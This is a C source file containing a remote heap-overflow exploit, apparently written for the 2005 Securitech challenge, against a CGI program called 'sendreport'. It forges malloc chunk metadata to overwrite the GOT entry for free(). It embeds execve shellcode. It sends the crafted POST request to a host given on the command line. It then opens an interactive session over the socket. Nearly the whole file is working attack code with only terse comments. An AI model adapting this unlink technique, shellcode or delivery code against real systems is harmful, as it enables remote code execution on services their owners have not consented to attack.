/* * sendreport exploit - securitech 2005 * Yoann Guillot */ #include #include #include #include #include #include // #define TESTLOCAL // return value of the first malloc #define FIRSTBUF 0x0804a318 //#define FIRSTBUF 0x804b008 // GOT for free() #define OFFSET 0x0804a2a8 #define WHATEVER 0x41414141 #define EMAILSIZE 256 // added to the end of mail, to align the mc with the one to overflow #ifndef PADLEN #define PADLEN 0 #endif #define PREV_INUSE 0x1 struct malloc_chunk { size_t prev_size; size_t size; struct malloc_chunk *fd; struct malloc_chunk *bk; }; /* 8049e10: eb 1f jmp 8049e31 8049e12: 5e pop %esi 8049e13: 89 76 08 mov %esi,0x8(%esi) -> 0x8esi = argv -> 0x70(esi) 8049e16: 31 c0 xor %eax,%eax 8049e18: 88 46 07 mov %al,0x7(%esi) -> + mov %al, 0x0a(%esi), +mov %al, 0x6f(%esi) 8049e1b: 89 46 0c mov %eax,0xc(%esi) -> envp = argv+1 -> envp = argv+3 0x7c(esi) 8049e1e: b0 0b mov $0xb,%al 8049e20: 89 f3 mov %esi,%ebx 8049e22: 8d 4e 08 lea 0x8(%esi),%ecx 8049e25: 8d 56 0c lea 0xc(%esi),%edx 8049e28: cd 80 int $0x80 8049e2a: 31 db xor %ebx,%ebx 8049e2c: 89 d8 mov %ebx,%eax 8049e2e: 40 inc %eax 8049e2f: cd 80 int $0x80 8049e31: e8 dc ff ff ff call 8049e12 */ char shellcode[] = "\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // Aleph One shellcode augmented ;) "\xeb\x31" // jump callme "\x5e" "\x89\x76\x70" // *argv = /bin/sh "\x8d\x46\x1b" // +3: lea 1b(%esi), %eax // 1b=offset du nick "\x89\x46\x74" // +3: mov %eax, 74(%esi) "\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail "\x89\x46\x78" // +3: mov %eax, 78(%esi) "\x31\xc0" "\x88\x46\x1a" // z-terminate exe "\x88\x46\x1d" // +3: z-terminate nick "\x88\x46\x2b" // +3: z-terminate mail "\x89\x46\x7c" // *envp = 0 "\xb0\x0b" "\x89\xf3" "\x8d\x4e\x70" // argv= "\x8d\x56\x7c" // envp= "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xca\xff\xff\xff" // call back "/home/marc/tools/validnivo jj leetmail@leet "; // 0123456789abcdef0123456789abcdef0123456789abc // allow console-like access void interact(int fd) { fd_set fds; ssize_t ssize; char buffer[1337]; for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(fd, &fds); select(fd+1, &fds, 0, 0, 0); if (FD_ISSET(0, &fds)) { ssize = read(0, buffer, sizeof(buffer)); if (ssize <= 0) return; write(fd, buffer, ssize); } if (FD_ISSET(fd, &fds)) { ssize = read(fd, buffer, sizeof(buffer)); if (ssize <= 0) { if (!ssize) printf("\nserver closed connection\n"); return; } write(1, buffer, ssize); } } } int main(int argc, char **argv) { char *payload = malloc(4 * 1024); char *buf = malloc(EMAILSIZE + PADLEN + sizeof(struct malloc_chunk) + 1); char *email = malloc(EMAILSIZE + 1); char *message = malloc(EMAILSIZE + 1); if (!payload || !buf || !email || !message) exit(-2); memset(buf, 'A', EMAILSIZE + PADLEN); memset(email, 'B', EMAILSIZE); memset(message, 'C', EMAILSIZE); struct malloc_chunk mc; mc.prev_size = -16; mc.size = WHATEVER & ~PREV_INUSE; mc.fd = (void *)((unsigned long)OFFSET - 12); mc.bk = (void *)(FIRSTBUF + strlen("message=&email=&email=") + EMAILSIZE + EMAILSIZE + PADLEN + sizeof(struct malloc_chunk) + 8); // mc.bk = FIRSTBUF+8; memcpy(email, &mc.fd, 8); memcpy(email + 8, shellcode, strlen(shellcode)); memcpy(buf + EMAILSIZE + PADLEN, &mc, sizeof(struct malloc_chunk)); buf[EMAILSIZE + PADLEN + sizeof(struct malloc_chunk)] = 0; email[EMAILSIZE] = 0; message[EMAILSIZE] = 0; sprintf(payload, "message=%s&email=%s&email=%s", message, buf, email); #if TESTLOCAL (void)argc; (void)argv; fprintf(stderr, "CONTENT_LENGTH=%d\n", strlen(payload)); printf("%s\n", payload); #else // remote char *http_req = malloc(5 * 1024); struct addrinfo hint, *res; int fd; if (!http_req) exit(-2); sprintf(http_req, "POST /cgi-bin/sendreport HTTP/1.0\r\nContent-length: %d\r\n\r\n%s\n", strlen(payload), payload); if (argc < 3) { printf("Usage: %s \n", *argv); return 0; } memset(&hint, 0, sizeof(hint)); hint.ai_flags = 0; hint.ai_family = PF_UNSPEC; hint.ai_socktype = SOCK_STREAM; hint.ai_protocol = 0; if (getaddrinfo(argv[1], argv[2], &hint, &res) || !res) { fprintf(stderr, "Unknown hostname\n"); return -1; } fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (fd < 0) return -1; if (connect(fd, res->ai_addr, res->ai_addrlen) < 0) return -1; freeaddrinfo(res); write(fd, http_req, strlen(http_req)); interact(fd); shutdown(fd, SHUT_RDWR); close(fd); #endif return 0; }